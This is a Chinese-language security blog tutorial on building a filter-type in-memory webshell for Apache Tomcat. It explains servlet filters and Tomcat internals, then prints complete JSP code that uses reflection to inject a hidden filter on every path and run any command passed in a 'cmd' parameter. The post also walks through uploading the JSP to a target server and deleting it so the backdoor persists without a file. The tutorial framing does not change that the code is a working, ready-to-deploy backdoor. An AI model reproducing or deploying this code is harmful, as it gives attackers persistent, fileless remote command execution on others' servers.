vlambda博客
学习文章列表

Java Filter型内存马入门 - Tomcat JSP内存马为例

文章首发于:

火线Zone社区(https://zone.huoxian.cn/)


内存马是什么


顾名思义,就是运行在内存中的木马。跟传统的webshell相比,没有实体文件。

个人总结是利用漏洞或上传解析的方式添加的恶意路由,只要能成功添加,那么这个路由的数据处理逻辑是我们可以自定义的。

例如:/cmd路由->get(post)获取参数cmd->eval或者exec(cmd),就能成为一个无文件的webshell,也就是内存马。



今天我就以JavaWeb 中的 Tomcat 容器的内存马为例,由浅至深带大家入门,并带大家手写一个内存马。这个内存马是看的风轩师傅的,网上一查就有。不过我看是适配linux的,所以改写成了适配windows的。

就像上面所说的,我就以 JavaWeb 、Tomcat 、实际编写,这个顺序一点一点说。因为是简单的不涉及框架的基础web程序,所以不会涉及MVC,微服务之类。大佬们就当是对旧时代的缅怀吧。别喷我了,我很菜。


Filter


首先我们需要了解web应用程序是怎么运行的。以JavaWeb为例,基础的web应用程序至少有以下几个重要组件:

Servlet,Filter,Linstener

其中的关系在下面图中web应用方框里:


Java Filter型内存马入门 - Tomcat JSP内存马为例


因为今天要讲的是filter型内存马。所以先重点讲下filter(过滤器)。想了解其他两个的可以去B站搜楠哥看他的JavaWeb系列视频。还是很好的,句句都是干货。


Filter


过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,一般用来过滤数据。

通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。

创建一个filter需要先创建类文件,实现Filter接口:


Java Filter型内存马入门 - Tomcat JSP内存马为例


再将filter配置进web.xml


Java Filter型内存马入门 - Tomcat JSP内存马为例


编译,运行后就可以访问filter


Java Filter型内存马入门 - Tomcat JSP内存马为例


当然,在正常业务中Filter大部分用作公共代码的提取,可以对request和response中的方法进行增强(装饰者模式/动态代理),或者进行权限控制,数据过滤等。其他主要业务功能还得servlet来控制。

而且web应用程序都是已经编译好了正在运行中的。也就是java中常说的运行时状态。不会给我们重启,再编译的机会。所以接下来就要讲到Tomcat了。


Tomcat


Tomcat 是一个免费的、开源的、轻量级的 Web 应用服务器。适合在并发量不是很高的中小企业项目中使用。Tomcat 的核心功能有两个,分别是负责接收和反馈外部请求的连接器 Connector,和负责处理请求的容器 Container。

其中连接器和容器相辅相成,一起构成了基本的 web 服务 Service。每个 Tomcat 服务器可以管理多个 Service。我们今天要利用到Tomcat中的catalina.jar与tomcat-util-scan.jar包。

catalina.jar包中如下四个类能引用运行时的web应用、应用程序上下文、应用程序filter配置、容器对象上下文等等。


Java Filter型内存马入门 - Tomcat JSP内存马为例


tomcat-util-scan.jar包中的如下两个类能给予我们动态定义初始化filter,添加映射关系的方法。


Java Filter型内存马入门 - Tomcat JSP内存马为例


JSP内存马编写


有了以上的基础概念就可以开始写JSP内存马了。

首先,导入相关包,类


Java Filter型内存马入门 - Tomcat JSP内存马为例


先从运行时的上下文获取filterConfigs。也就是通过反射读取web应用程序目前的filter配置。

整个流程是从全局servlet上下文 -- > 当前web应用上下文 -- > 当前路径默认的上下文 --> 获取配置 --> 获取filter配置。


Java Filter型内存马入门 - Tomcat JSP内存马为例


然后按filter名查看我们要注入的filter是否存在


Java Filter型内存马入门 - Tomcat JSP内存马为例


不存在的话,就创建我们的恶意filter。(里头的恶意代码最后全部代码里有,截图截不全)。注意doFilter最后写上filterChain.doFilter方法,交给下一个过滤器或servlet处理。不然会报错。


Java Filter型内存马入门 - Tomcat JSP内存马为例


最后进行配置


Java Filter型内存马入门 - Tomcat JSP内存马为例


绿框中是添加进当前应用上下文的filter配置里。

到此为止,我们的filter型内存马就写完了。只要上传到目标服务器,访问解析一下,即可添加恶意filter。下面是演示截图。


Java Filter型内存马入门 - Tomcat JSP内存马为例


可以看见当前是没有cmd这个参数相关的filter去处理我的ipconfig命令的。

然后我们访问,让服务器解析一下我们注入恶意内存马的jsp。


Java Filter型内存马入门 - Tomcat JSP内存马为例


注入成功后,再尝试一下


Java Filter型内存马入门 - Tomcat JSP内存马为例


成功注入内存马,然后我们将服服务器的恶意jsp删掉。


Java Filter型内存马入门 - Tomcat JSP内存马为例


再访问我们的内存马


Java Filter型内存马入门 - Tomcat JSP内存马为例


成功~~


回顾感受


  1. 我是新手,球球别喷。

  2. 引用一句话。“一个好的黑客,必须要懂编程”- - 尹毅《代码审计 企业级Web代码安全架构》

  3. javase的要好好学习。尤其是反射。可以看到我们大多数情况下写的都是运行时的代码,不会反射简直寸步难行。

最后推一下我们团队博客 meta-sec
http://www.meta-sec.top/


全篇代码


<%@ page import="org.apache.catalina.Context" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.io.IOException" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.Map" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%    final String name = "taamr"; //Filter过滤器名字    ServletContext servletContext = request.getSession().getServletContext();
   Field appctx = servletContext.getClass().getDeclaredField("context");    appctx.setAccessible(true);    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
   Field stdctx = applicationContext.getClass().getDeclaredField("context");    stdctx.setAccessible(true);    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
   Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");    Configs.setAccessible(true);    Map filterConfigs = (Map) Configs.get(standardContext);
   if (filterConfigs.get(name) == null){        Filter filter = new Filter() {            @Override            public void init(FilterConfig filterConfig) throws ServletException {
           }
           @Override            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {                HttpServletRequest req = (HttpServletRequest) servletRequest;                if (req.getParameter("cmd") != null){                    Process process = null;                    BufferedReader bufferedReader = null;                    BufferedReader bufferedReaderError = null;                    StringBuilder result = new StringBuilder();                    String line ;                    try {                        process = (Process) Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),request.getParameter("cmd"));                        process.waitFor();                        bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));                        bufferedReaderError = new BufferedReader(new InputStreamReader(process.getErrorStream(),"GBK"));                        while ((line=bufferedReader.readLine())!=null){                            result.append(line).append("\n");                        }                        while ((line = bufferedReaderError.readLine()) != null) {                            result.append(line).append('\n');                        }                        servletResponse.setContentType("application/json;charset=UTF-8");                        servletResponse.getWriter().write(result.toString());                    } catch (Exception e) {                        e.printStackTrace();                    }finally {                        bufferedReader.close();                        bufferedReaderError.close();                        process.destroy();                    }                    return;                }                filterChain.doFilter(servletRequest,servletResponse);            }
           @Override            public void destroy() {
           }
       };

       FilterDef filterDef = new FilterDef();        filterDef.setFilter(filter);        filterDef.setFilterName(name);        filterDef.setFilterClass(filter.getClass().getName());        standardContext.addFilterDef(filterDef);        FilterMap filterMap = new FilterMap();        filterMap.addURLPattern("/*");        filterMap.setFilterName(name);        filterMap.setDispatcher(DispatcherType.REQUEST.name());        standardContext.addFilterMapBefore(filterMap);        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);        constructor.setAccessible(true);        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);        filterConfigs.put(name,filterConfig);        out.print("注入成功");    }%>

【火线Zone云安全社区群】

进群可以与技术大佬互相交流

进群有机会免费领取节假日礼品

进群可以免费观看技术分享直播

Java Filter型内存马入门 - Tomcat JSP内存马为例


【火线zone社区周激励】

2022.4.4~ 2022.4.10公告

Java Filter型内存马入门 - Tomcat JSP内存马为例


【相关精选文章】




Java Filter型内存马入门 - Tomcat JSP内存马为例

火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!


//  火线Zone //


点击阅读原文,加入社区,共建一个有技术氛围的优质社区!